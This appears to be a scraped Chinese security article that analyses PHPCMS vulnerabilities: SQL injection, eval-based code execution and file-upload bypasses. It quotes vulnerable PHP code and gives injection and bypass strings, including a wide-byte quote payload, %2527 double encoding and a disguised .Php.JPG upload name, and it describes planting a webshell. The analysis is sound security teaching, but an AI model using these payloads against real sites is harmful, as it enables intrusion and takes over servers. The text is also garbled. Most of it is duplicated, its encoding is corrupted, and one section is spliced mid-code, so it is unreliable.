PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
